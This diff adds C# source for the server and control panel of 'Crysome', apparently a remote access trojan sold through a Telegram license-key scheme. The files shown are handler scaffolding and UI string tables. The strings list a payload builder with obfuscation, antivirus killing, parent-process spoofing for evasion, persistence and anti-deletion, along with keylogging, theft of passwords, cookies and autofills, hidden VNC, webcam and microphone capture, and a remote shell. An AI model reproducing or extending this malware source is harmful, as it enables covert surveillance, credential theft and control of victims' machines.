if (Handlers.TryGetValue(((object)packet).GetType(), out var value))
|
||||
{
|
||||
value(sender, packet);
|
||||
}
|
||||
}
|
||||
|
||||
public void RegisterHandler<TPacket>(Action<CrysomeClient, IPacket> handler)
|
||||
{
|
||||
Handlers[typeof(TPacket)] = handler;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using System;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
|
||||
namespace Crysome.Server.Network;
|
||||
|
||||
public class PacketEventArgs : EventArgs
|
||||
{
|
||||
public CrysomeClient Client { get; set; }
|
||||
|
||||
public IPacket Packet { get; set; }
|
||||
|
||||
public PacketEventArgs(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
Packet = packet;
|
||||
Client = client;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
using System;
|
||||
using Crysome.Common.Network;
|
||||
|
||||
namespace Crysome.Server.Network;
|
||||
|
||||
public class UdpFrameEventArgs : EventArgs
|
||||
{
|
||||
public CrysomeClient Client { get; }
|
||||
|
||||
public byte PacketTypeId { get; }
|
||||
|
||||
public byte[] Data { get; }
|
||||
|
||||
public UdpFrameEventArgs(CrysomeClient client, byte packetTypeId, byte[] data)
|
||||
{
|
||||
Client = client;
|
||||
PacketTypeId = packetTypeId;
|
||||
Data = data;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Crysome.Server.Properties;
|
||||
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[DebuggerNonUserCode]
|
||||
[CompilerGenerated]
|
||||
internal class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (resourceMan == null)
|
||||
{
|
||||
resourceMan = new ResourceManager("Crysome.Server.Properties.Resources", typeof(Resources).Assembly);
|
||||
}
|
||||
return resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get
|
||||
{
|
||||
return resourceCulture;
|
||||
}
|
||||
set
|
||||
{
|
||||
resourceCulture = value;
|
||||
}
|
||||
}
|
||||
|
||||
internal Resources()
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Configuration;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Crysome.Server.Properties;
|
||||
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.3.0.0")]
|
||||
internal sealed class Settings : ApplicationSettingsBase
|
||||
{
|
||||
private static Settings defaultInstance = (Settings)SettingsBase.Synchronized(new Settings());
|
||||
|
||||
public static Settings Default => defaultInstance;
|
||||
}
|
||||
@@ -0,0 +1,212 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="Clients_ColPing" xml:space="preserve"><value>Ping</value></data>
|
||||
<data name="Clients_ColBank" xml:space="preserve"><value>Bank</value></data>
|
||||
<data name="Clients_ColApps" xml:space="preserve"><value>Apps</value></data>
|
||||
<data name="Clients_ProcessManager" xml:space="preserve"><value>Process Manager</value></data>
|
||||
<data name="Clients_Cookies" xml:space="preserve"><value>Cookies</value></data>
|
||||
<data name="FileExplorer_Browse" xml:space="preserve"><value>Browse…</value></data>
|
||||
<data name="Main_ComputerName" xml:space="preserve"><value>Computer Name</value></data>
|
||||
<data name="Builder_IPHost" xml:space="preserve"><value>IP / Host</value></data>
|
||||
<data name="Clients_ColGPU" xml:space="preserve"><value>GPU</value></data>
|
||||
<data name="Clients_ClientsLabel" xml:space="preserve"><value>Clients:</value></data>
|
||||
<data name="Builder_AsmTitle" xml:space="preserve"><value>Title</value></data>
|
||||
<data name="Settings_LogToFile" xml:space="preserve"><value>Log to File (activity.log)</value></data>
|
||||
<data name="Clients_ColProxy" xml:space="preserve"><value>Proxy</value></data>
|
||||
<data name="Main_OperatingSystem" xml:space="preserve"><value>Operating System</value></data>
|
||||
<data name="Clients_ColGroup" xml:space="preserve"><value>Group</value></data>
|
||||
<data name="Clients_ColNotes" xml:space="preserve"><value>Notes</value></data>
|
||||
<data name="Main_FileManager" xml:space="preserve"><value>File Manager</value></data>
|
||||
<data name="Builder_FeatProcess" xml:space="preserve"><value>Process List / Kill</value></data>
|
||||
<data name="Builder_FeatProtect" xml:space="preserve"><value>SelfProtect (anti-kill & anti-delete)</value></data>
|
||||
<data name="Settings_QuicPort" xml:space="preserve"><value>QUIC port (0 = off):</value></data>
|
||||
<data name="Clients_Export" xml:space="preserve"><value>Export</value></data>
|
||||
<data name="Clients_ColActiveWindow" xml:space="preserve"><value>Active Window</value></data>
|
||||
<data name="Settings_PlaySoundDisconnect" xml:space="preserve"><value>Play sound on client disconnect</value></data>
|
||||
<data name="Lang_Title" xml:space="preserve"><value>CRYSOME - SELECT LANGUAGE</value></data>
|
||||
<data name="Clients_AllCredentials" xml:space="preserve"><value>All (Passwords + Cookies + Autofills)</value></data>
|
||||
<data name="Builder_Browse" xml:space="preserve"><value>Browse</value></data>
|
||||
<data name="Clients_Builder" xml:space="preserve"><value>Builder</value></data>
|
||||
<data name="FileExplorer_Properties" xml:space="preserve"><value>Properties</value></data>
|
||||
<data name="Settings_TestMessage" xml:space="preserve"><value>Test Message</value></data>
|
||||
<data name="FileType_File" xml:space="preserve"><value>File</value></data>
|
||||
<data name="Lang_ContinueButton" xml:space="preserve"><value>Continue</value></data>
|
||||
<data name="Clients_PasswordsCookies" xml:space="preserve"><value>Passwords / Cookies</value></data>
|
||||
<data name="Main_Identifier" xml:space="preserve"><value>Identifier</value></data>
|
||||
<data name="Login_Exit" xml:space="preserve"><value>Exit</value></data>
|
||||
<data name="Clients_HvncMenu" xml:space="preserve"><value>HVNC</value></data>
|
||||
<data name="Builder_BuildOutput" xml:space="preserve"><value>Build Output</value></data>
|
||||
<data name="Builder_FeatCredentials" xml:space="preserve"><value>Credentials</value></data>
|
||||
<data name="Clients_Mute30" xml:space="preserve"><value>Mute 30min</value></data>
|
||||
<data name="Lang_SelectLabel" xml:space="preserve"><value>Select Language</value></data>
|
||||
<data name="Clients_KeyloggerMenu" xml:space="preserve"><value>Keylogger</value></data>
|
||||
<data name="Settings_Unlimited" xml:space="preserve"><value>(0 = unlimited)</value></data>
|
||||
<data name="Plugin_Subtitle" xml:space="preserve"><value>Enable or disable right-click context menu features</value></data>
|
||||
<data name="Clients_Autofills" xml:space="preserve"><value>Autofills</value></data>
|
||||
<data name="Clients_Showing" xml:space="preserve"><value>Showing </value></data>
|
||||
<data name="Builder_FeatDesktop" xml:space="preserve"><value>Remote Desktop</value></data>
|
||||
<data name="Settings_EnableTelegram" xml:space="preserve"><value>Enable Telegram Bot</value></data>
|
||||
<data name="Builder_AsmDesc" xml:space="preserve"><value>Desc</value></data>
|
||||
<data name="Clients_ActivityLog" xml:space="preserve"><value>Activity Log</value></data>
|
||||
<data name="Builder_BackToConnections" xml:space="preserve"><value>Back to Connections</value></data>
|
||||
<data name="Clients_Credentials" xml:space="preserve"><value>Credentials</value></data>
|
||||
<data name="Builder_AssemblyIcon" xml:space="preserve"><value>Assembly & Icon</value></data>
|
||||
<data name="Clients_BlockSelected" xml:space="preserve"><value>Block selected</value></data>
|
||||
<data name="Builder_CloneFromFile" xml:space="preserve"><value>Clone from File...</value></data>
|
||||
<data name="Clients_Screenshot" xml:space="preserve"><value>Screenshot</value></data>
|
||||
<data name="Main_Terminal" xml:space="preserve"><value>Terminal</value></data>
|
||||
<data name="Clients_ActiveSessions" xml:space="preserve"><value>Active Sessions</value></data>
|
||||
<data name="Settings_Save" xml:space="preserve"><value>Save Settings</value></data>
|
||||
<data name="Settings_Port" xml:space="preserve"><value>RUDP port (Builder / .NET FW):</value></data>
|
||||
<data name="Builder_StubPath" xml:space="preserve"><value>Stub Path</value></data>
|
||||
<data name="Builder_FeatSurvival" xml:space="preserve"><value>PluginSurvival (survives Windows Reset)</value></data>
|
||||
<data name="Clients_BlockIP" xml:space="preserve"><value>Block IP</value></data>
|
||||
<data name="Main_TakeScreenshot" xml:space="preserve"><value>Take Screenshot</value></data>
|
||||
<data name="Clients_ClientsWord" xml:space="preserve"><value> clients</value></data>
|
||||
<data name="Clients_Add" xml:space="preserve"><value>Add</value></data>
|
||||
<data name="Settings_PlaySoundConnect" xml:space="preserve"><value>Play sound on client connect</value></data>
|
||||
<data name="Clients_Ping" xml:space="preserve"><value>Ping</value></data>
|
||||
<data name="Clients_Stop" xml:space="preserve"><value>Stop</value></data>
|
||||
<data name="Clients_Note" xml:space="preserve"><value>Note</value></data>
|
||||
<data name="Clients_ScreenshotAll" xml:space="preserve"><value>Screenshot All</value></data>
|
||||
<data name="Builder_FeatObfuscate" xml:space="preserve"><value>Obfuscate output (built-in dnlib)</value></data>
|
||||
<data name="Clients_AvgPing" xml:space="preserve"><value>Avg Ping: </value></data>
|
||||
<data name="Settings_Title" xml:space="preserve"><value>Settings</value></data>
|
||||
<data name="Clients_FileManager" xml:space="preserve"><value>File Manager</value></data>
|
||||
<data name="Login_EnterKey" xml:space="preserve"><value>Enter your license key</value></data>
|
||||
<data name="Clients_DirectLink" xml:space="preserve"><value>Direct Link</value></data>
|
||||
<data name="Builder_AsmVersion" xml:space="preserve"><value>Version</value></data>
|
||||
<data name="Main_Address" xml:space="preserve"><value>IP Address</value></data>
|
||||
<data name="Clients_PinToTop" xml:space="preserve"><value>Pin to Top</value></data>
|
||||
<data name="Builder_FeatDirectLink" xml:space="preserve"><value>Direct Link Download</value></data>
|
||||
<data name="Builder_ParentSpoofDesc" xml:space="preserve"><value>Spawn as child of process (evasion)</value></data>
|
||||
<data name="Clients_BlockedIPs" xml:space="preserve"><value>Blocked IPs (refuse connection)</value></data>
|
||||
<data name="Clients_RemoteCamera" xml:space="preserve"><value>Remote Camera</value></data>
|
||||
<data name="Clients_Restart" xml:space="preserve"><value>Restart</value></data>
|
||||
<data name="Clients_ExportMenu" xml:space="preserve"><value>Export</value></data>
|
||||
<data name="Login_ErrorMsg" xml:space="preserve"><value>Please buy license key to login.</value></data>
|
||||
<data name="Settings_MaxEndpoints" xml:space="preserve"><value>Max Endpoints:</value></data>
|
||||
<data name="Builder_FeatPersistence" xml:space="preserve"><value>Persistence (Scheduled Task)</value></data>
|
||||
<data name="Builder_AsmCompany" xml:space="preserve"><value>Company</value></data>
|
||||
<data name="Settings_Logging" xml:space="preserve"><value>Logging</value></data>
|
||||
<data name="Clients_TakeScreenshot" xml:space="preserve"><value>Take Screenshot</value></data>
|
||||
<data name="Clients_Filters" xml:space="preserve"><value>Filters</value></data>
|
||||
<data name="Clients_SendFile" xml:space="preserve"><value>Send File</value></data>
|
||||
<data name="Clients_Socks5Proxy" xml:space="preserve"><value>SOCKS5 Proxy</value></data>
|
||||
<data name="Login_Login" xml:space="preserve"><value>Login</value></data>
|
||||
<data name="Settings_Server" xml:space="preserve"><value>Server</value></data>
|
||||
<data name="Clients_CopySummary" xml:space="preserve"><value>Copy Summary</value></data>
|
||||
<data name="Plugin_Title" xml:space="preserve"><value>Plugin Manager</value></data>
|
||||
<data name="Settings_PauseLog" xml:space="preserve"><value>Pause Activity Log</value></data>
|
||||
<data name="Builder_FeatFileMgr" xml:space="preserve"><value>File Manager</value></data>
|
||||
<data name="Clients_Countries" xml:space="preserve"><value>Countries: </value></data>
|
||||
<data name="Plugin_BackToConnections" xml:space="preserve"><value>Back to Connections</value></data>
|
||||
<data name="Plugin_ContextMenuFeatures" xml:space="preserve"><value>Context menu features</value></data>
|
||||
<data name="Clients_Settings" xml:space="preserve"><value>Settings</value></data>
|
||||
<data name="Login_Buy" xml:space="preserve"><value>Our Telegram</value></data>
|
||||
<data name="Clients_DirectLinkAll" xml:space="preserve"><value>Direct Link (All)</value></data>
|
||||
<data name="Clients_RemoteChat" xml:space="preserve"><value>Remote Chat</value></data>
|
||||
<data name="Builder_FeatRestart" xml:space="preserve"><value>Restart</value></data>
|
||||
<data name="Builder_AsmCopyright" xml:space="preserve"><value>Copyright</value></data>
|
||||
<data name="FileExplorer_Type" xml:space="preserve"><value>Type</value></data>
|
||||
<data name="FileExplorer_Save" xml:space="preserve"><value>Save as...</value></data>
|
||||
<data name="FileExplorer_Sort" xml:space="preserve"><value>Sort</value></data>
|
||||
<data name="FileExplorer_Size" xml:space="preserve"><value>Size</value></data>
|
||||
<data name="FileExplorer_Name" xml:space="preserve"><value>Name</value></data>
|
||||
<data name="FileExplorer_Open" xml:space="preserve"><value>Open</value></data>
|
||||
<data name="Clients_ProxyBtn" xml:space="preserve"><value>Proxy</value></data>
|
||||
<data name="Main_Username" xml:space="preserve"><value>Username</value></data>
|
||||
<data name="Clients_SendFileAll" xml:space="preserve"><value>Send File (All)</value></data>
|
||||
<data name="Builder_FeatAvKiller" xml:space="preserve"><value>AVKiller (block & kill antivirus)</value></data>
|
||||
<data name="Builder_AsmProduct" xml:space="preserve"><value>Product</value></data>
|
||||
<data name="Plugin_ChangesNote" xml:space="preserve"><value>Changes apply immediately. Disabled items are hidden from the client list right-click menu.</value></data>
|
||||
<data name="Clients_QuickActions" xml:space="preserve"><value>Quick Actions</value></data>
|
||||
<data name="Settings_Notifications" xml:space="preserve"><value>Notifications</value></data>
|
||||
<data name="Settings_InfoPoll" xml:space="preserve"><value>Info Poll (ms):</value></data>
|
||||
<data name="Settings_ChatID" xml:space="preserve"><value>Chat ID:</value></data>
|
||||
<data name="Clients_SendCommandAll" xml:space="preserve"><value>Send Command (All)</value></data>
|
||||
<data name="Main_Management" xml:space="preserve"><value>Management</value></data>
|
||||
<data name="Settings_MaxFile" xml:space="preserve"><value>Max File (MB):</value></data>
|
||||
<data name="Builder_FeatScreenshot" xml:space="preserve"><value>Screenshot</value></data>
|
||||
<data name="Builder_FeatHvnc" xml:space="preserve"><value>HVNC</value></data>
|
||||
<data name="Builder_FeatFile" xml:space="preserve"><value>File Transfer</value></data>
|
||||
<data name="Builder_FeatChat" xml:space="preserve"><value>Chat</value></data>
|
||||
<data name="Builder_Features" xml:space="preserve"><value>Features</value></data>
|
||||
<data name="Builder_FeatAudio" xml:space="preserve"><value>Audio Capture</value></data>
|
||||
<data name="Builder_FeatProxy" xml:space="preserve"><value>Proxy (SOCKS5)</value></data>
|
||||
<data name="Clients_RemoteShell" xml:space="preserve"><value>Remote Shell</value></data>
|
||||
<data name="Clients_OS" xml:space="preserve"><value>OS</value></data>
|
||||
<data name="Clients_Ms" xml:space="preserve"><value> ms</value></data>
|
||||
<data name="Clients_RemoteAudio" xml:space="preserve"><value>Remote Audio/Mic</value></data>
|
||||
<data name="FileType_Folder" xml:space="preserve"><value>Folder</value></data>
|
||||
<data name="Clients_HvncLabel" xml:space="preserve"><value>HVNC: </value></data>
|
||||
<data name="Clients_Plugins" xml:space="preserve"><value>Plugins</value></data>
|
||||
<data name="Clients_Blocklist" xml:space="preserve"><value>Blocklist</value></data>
|
||||
<data name="Clients_RemoteDesktop" xml:space="preserve"><value>Remote Desktop</value></data>
|
||||
<data name="Builder_ParentSpoof" xml:space="preserve"><value>Parent Spoof</value></data>
|
||||
<data name="Clients_ColUsername" xml:space="preserve"><value>Username</value></data>
|
||||
<data name="Clients_QuickStats" xml:space="preserve"><value>Quick Stats</value></data>
|
||||
<data name="Builder_FeatCmd" xml:space="preserve"><value>Remote Command (PowerShell)</value></data>
|
||||
<data name="Clients_SendCommand" xml:space="preserve"><value>Send Command</value></data>
|
||||
<data name="Clients_Start" xml:space="preserve"><value>Start</value></data>
|
||||
<data name="Clients_ColIP" xml:space="preserve"><value>IP</value></data>
|
||||
<data name="Clients_ColOS" xml:space="preserve"><value>OS</value></data>
|
||||
<data name="Clients_Group" xml:space="preserve"><value>Group</value></data>
|
||||
<data name="FileExplorer_Upload" xml:space="preserve"><value>Upload</value></data>
|
||||
<data name="Clients_SendCommandAllMenu" xml:space="preserve"><value>Send Command (All)</value></data>
|
||||
<data name="Settings_BackToConnections" xml:space="preserve"><value>Back to Connections</value></data>
|
||||
<data name="Main_ClientConnected" xml:space="preserve"><value>Client connected from {0}.</value></data>
|
||||
<data name="Clients_ClearFilters" xml:space="preserve"><value>Clear filters</value></data>
|
||||
<data name="FileExplorer_Rename" xml:space="preserve"><value>Rename</value></data>
|
||||
<data name="Builder_Title" xml:space="preserve"><value>Client Builder</value></data>
|
||||
<data name="Builder_Build" xml:space="preserve"><value>BUILD</value></data>
|
||||
<data name="Builder_Group" xml:space="preserve"><value>Group</value></data>
|
||||
<data name="Clients_ColUptime" xml:space="preserve"><value>Uptime</value></data>
|
||||
<data name="Builder_Randomize" xml:space="preserve"><value>Randomize</value></data>
|
||||
<data name="Clients_Remove" xml:space="preserve"><value>Remove</value></data>
|
||||
<data name="Clients_Remote" xml:space="preserve"><value>Remote</value></data>
|
||||
<data name="Settings_BotToken" xml:space="preserve"><value>Bot Token:</value></data>
|
||||
<data name="Builder_FeatKeylogger" xml:space="preserve"><value>Keylogger</value></data>
|
||||
<data name="Clients_ActiveWindows" xml:space="preserve"><value>Active Windows: </value></data>
|
||||
<data name="Clients_Passwords" xml:space="preserve"><value>Passwords</value></data>
|
||||
<data name="FileExplorer_Modified" xml:space="preserve"><value>Modified</value></data>
|
||||
<data name="Builder_FeatCamera" xml:space="preserve"><value>Camera</value></data>
|
||||
<data name="Settings_TelegramNotifs" xml:space="preserve"><value>Telegram Notifications:</value></data>
|
||||
<data name="Login_WindowTitle" xml:space="preserve"><value>CRYSOME | t.me/CuriousCracks</value></data>
|
||||
<data name="FileExplorer_Delete" xml:space="preserve"><value>Delete</value></data>
|
||||
<data name="Builder_EditAssembly" xml:space="preserve"><value>Edit Assembly Info</value></data>
|
||||
<data name="Builder_Port" xml:space="preserve"><value>Port</value></data>
|
||||
<data name="Builder_Icon" xml:space="preserve"><value>Icon:</value></data>
|
||||
<data name="Main_Surveillance" xml:space="preserve"><value>Surveillance</value></data>
|
||||
<data name="Builder_Target" xml:space="preserve"><value>Target</value></data>
|
||||
<data name="Clients_RdpLabel" xml:space="preserve"><value>RDP: </value></data>
|
||||
<data name="Main_Port" xml:space="preserve"><value>Port</value></data>
|
||||
<data name="Clients_Country" xml:space="preserve"><value>Country</value></data>
|
||||
</root>
|
||||
@@ -0,0 +1,412 @@
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Crysome.Server.Resources;
|
||||
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")]
|
||||
[DebuggerNonUserCode]
|
||||
[CompilerGenerated]
|
||||
public class Strings
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
public static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (resourceMan == null)
|
||||
{
|
||||
resourceMan = new ResourceManager("Crysome.Server.Resources.Strings", typeof(Strings).Assembly);
|
||||
}
|
||||
return resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
public static CultureInfo Culture
|
||||
{
|
||||
get
|
||||
{
|
||||
return resourceCulture;
|
||||
}
|
||||
set
|
||||
{
|
||||
resourceCulture = value;
|
||||
}
|
||||
}
|
||||
|
||||
public static string Lang_Title => ResourceManager.GetString("Lang_Title", resourceCulture);
|
||||
|
||||
public static string Lang_SelectLabel => ResourceManager.GetString("Lang_SelectLabel", resourceCulture);
|
||||
|
||||
public static string Lang_ContinueButton => ResourceManager.GetString("Lang_ContinueButton", resourceCulture);
|
||||
|
||||
public static string Login_WindowTitle => ResourceManager.GetString("Login_WindowTitle", resourceCulture);
|
||||
|
||||
public static string Login_EnterKey => ResourceManager.GetString("Login_EnterKey", resourceCulture);
|
||||
|
||||
public static string Login_ErrorMsg => ResourceManager.GetString("Login_ErrorMsg", resourceCulture);
|
||||
|
||||
public static string Login_Buy => ResourceManager.GetString("Login_Buy", resourceCulture);
|
||||
|
||||
public static string Login_Login => ResourceManager.GetString("Login_Login", resourceCulture);
|
||||
|
||||
public static string Login_Exit => ResourceManager.GetString("Login_Exit", resourceCulture);
|
||||
|
||||
public static string FileExplorer_Browse => ResourceManager.GetString("FileExplorer_Browse", resourceCulture);
|
||||
|
||||
public static string FileExplorer_Delete => ResourceManager.GetString("FileExplorer_Delete", resourceCulture);
|
||||
|
||||
public static string FileExplorer_Name => ResourceManager.GetString("FileExplorer_Name", resourceCulture);
|
||||
|
||||
public static string FileExplorer_Open => ResourceManager.GetString("FileExplorer_Open", resourceCulture);
|
||||
|
||||
public static string FileExplorer_Properties => ResourceManager.GetString("FileExplorer_Properties", resourceCulture);
|
||||
|
||||
public static string FileExplorer_Rename => ResourceManager.GetString("FileExplorer_Rename", resourceCulture);
|
||||
|
||||
public static string FileExplorer_Save => ResourceManager.GetString("FileExplorer_Save", resourceCulture);
|
||||
|
||||
public static string FileExplorer_Size => ResourceManager.GetString("FileExplorer_Size", resourceCulture);
|
||||
|
||||
public static string FileExplorer_Type => ResourceManager.GetString("FileExplorer_Type", resourceCulture);
|
||||
|
||||
public static string FileExplorer_Modified => ResourceManager.GetString("FileExplorer_Modified", resourceCulture);
|
||||
|
||||
public static string FileExplorer_Upload => ResourceManager.GetString("FileExplorer_Upload", resourceCulture);
|
||||
|
||||
public static string FileExplorer_Sort => ResourceManager.GetString("FileExplorer_Sort", resourceCulture);
|
||||
|
||||
public static string FileType_File => ResourceManager.GetString("FileType_File", resourceCulture);
|
||||
|
||||
public static string FileType_Folder => ResourceManager.GetString("FileType_Folder", resourceCulture);
|
||||
|
||||
public static string Main_Address => ResourceManager.GetString("Main_Address", resourceCulture);
|
||||
|
||||
public static string Main_ClientConnected => ResourceManager.GetString("Main_ClientConnected", resourceCulture);
|
||||
|
||||
public static string Main_ComputerName => ResourceManager.GetString("Main_ComputerName", resourceCulture);
|
||||
|
||||
public static string Main_FileManager => ResourceManager.GetString("Main_FileManager", resourceCulture);
|
||||
|
||||
public static string Main_Identifier => ResourceManager.GetString("Main_Identifier", resourceCulture);
|
||||
|
||||
public static string Main_Management => ResourceManager.GetString("Main_Management", resourceCulture);
|
||||
|
||||
public static string Main_OperatingSystem => ResourceManager.GetString("Main_OperatingSystem", resourceCulture);
|
||||
|
||||
public static string Main_Port => ResourceManager.GetString("Main_Port", resourceCulture);
|
||||
|
||||
public static string Main_Surveillance => ResourceManager.GetString("Main_Surveillance", resourceCulture);
|
||||
|
||||
public static string Main_TakeScreenshot => ResourceManager.GetString("Main_TakeScreenshot", resourceCulture);
|
||||
|
||||
public static string Main_Terminal => ResourceManager.GetString("Main_Terminal", resourceCulture);
|
||||
|
||||
public static string Main_Username => ResourceManager.GetString("Main_Username", resourceCulture);
|
||||
|
||||
public static string Clients_Filters => ResourceManager.GetString("Clients_Filters", resourceCulture);
|
||||
|
||||
public static string Clients_Country => ResourceManager.GetString("Clients_Country", resourceCulture);
|
||||
|
||||
public static string Clients_OS => ResourceManager.GetString("Clients_OS", resourceCulture);
|
||||
|
||||
public static string Clients_Group => ResourceManager.GetString("Clients_Group", resourceCulture);
|
||||
|
||||
public static string Clients_Ping => ResourceManager.GetString("Clients_Ping", resourceCulture);
|
||||
|
||||
public static string Clients_ClearFilters => ResourceManager.GetString("Clients_ClearFilters", resourceCulture);
|
||||
|
||||
public static string Clients_Blocklist => ResourceManager.GetString("Clients_Blocklist", resourceCulture);
|
||||
|
||||
public static string Clients_BlockedIPs => ResourceManager.GetString("Clients_BlockedIPs", resourceCulture);
|
||||
|
||||
public static string Clients_Add => ResourceManager.GetString("Clients_Add", resourceCulture);
|
||||
|
||||
public static string Clients_Remove => ResourceManager.GetString("Clients_Remove", resourceCulture);
|
||||
|
||||
public static string Clients_BlockSelected => ResourceManager.GetString("Clients_BlockSelected", resourceCulture);
|
||||
|
||||
public static string Clients_QuickStats => ResourceManager.GetString("Clients_QuickStats", resourceCulture);
|
||||
|
||||
public static string Clients_Showing => ResourceManager.GetString("Clients_Showing", resourceCulture);
|
||||
|
||||
public static string Clients_ClientsWord => ResourceManager.GetString("Clients_ClientsWord", resourceCulture);
|
||||
|
||||
public static string Clients_Countries => ResourceManager.GetString("Clients_Countries", resourceCulture);
|
||||
|
||||
public static string Clients_AvgPing => ResourceManager.GetString("Clients_AvgPing", resourceCulture);
|
||||
|
||||
public static string Clients_Ms => ResourceManager.GetString("Clients_Ms", resourceCulture);
|
||||
|
||||
public static string Clients_ActiveWindows => ResourceManager.GetString("Clients_ActiveWindows", resourceCulture);
|
||||
|
||||
public static string Clients_QuickActions => ResourceManager.GetString("Clients_QuickActions", resourceCulture);
|
||||
|
||||
public static string Clients_ScreenshotAll => ResourceManager.GetString("Clients_ScreenshotAll", resourceCulture);
|
||||
|
||||
public static string Clients_SendCommandAll => ResourceManager.GetString("Clients_SendCommandAll", resourceCulture);
|
||||
|
||||
public static string Clients_ActiveSessions => ResourceManager.GetString("Clients_ActiveSessions", resourceCulture);
|
||||
|
||||
public static string Clients_HvncLabel => ResourceManager.GetString("Clients_HvncLabel", resourceCulture);
|
||||
|
||||
public static string Clients_RdpLabel => ResourceManager.GetString("Clients_RdpLabel", resourceCulture);
|
||||
|
||||
public static string Clients_ColIP => ResourceManager.GetString("Clients_ColIP", resourceCulture);
|
||||
|
||||
public static string Clients_ColUsername => ResourceManager.GetString("Clients_ColUsername", resourceCulture);
|
||||
|
||||
public static string Clients_ColOS => ResourceManager.GetString("Clients_ColOS", resourceCulture);
|
||||
|
||||
public static string Clients_ColActiveWindow => ResourceManager.GetString("Clients_ColActiveWindow", resourceCulture);
|
||||
|
||||
public static string Clients_ColPing => ResourceManager.GetString("Clients_ColPing", resourceCulture);
|
||||
|
||||
public static string Clients_ColUptime => ResourceManager.GetString("Clients_ColUptime", resourceCulture);
|
||||
|
||||
public static string Clients_ColGPU => ResourceManager.GetString("Clients_ColGPU", resourceCulture);
|
||||
|
||||
public static string Clients_ColGroup => ResourceManager.GetString("Clients_ColGroup", resourceCulture);
|
||||
|
||||
public static string Clients_ColProxy => ResourceManager.GetString("Clients_ColProxy", resourceCulture);
|
||||
|
||||
public static string Clients_ColApps => ResourceManager.GetString("Clients_ColApps", resourceCulture);
|
||||
|
||||
public static string Clients_ColBank => ResourceManager.GetString("Clients_ColBank", resourceCulture);
|
||||
|
||||
public static string Clients_ColNotes => ResourceManager.GetString("Clients_ColNotes", resourceCulture);
|
||||
|
||||
public static string Clients_ActivityLog => ResourceManager.GetString("Clients_ActivityLog", resourceCulture);
|
||||
|
||||
public static string Clients_Export => ResourceManager.GetString("Clients_Export", resourceCulture);
|
||||
|
||||
public static string Clients_Start => ResourceManager.GetString("Clients_Start", resourceCulture);
|
||||
|
||||
public static string Clients_Stop => ResourceManager.GetString("Clients_Stop", resourceCulture);
|
||||
|
||||
public static string Clients_ProxyBtn => ResourceManager.GetString("Clients_ProxyBtn", resourceCulture);
|
||||
|
||||
public static string Clients_Screenshot => ResourceManager.GetString("Clients_Screenshot", resourceCulture);
|
||||
|
||||
public static string Clients_Builder => ResourceManager.GetString("Clients_Builder", resourceCulture);
|
||||
|
||||
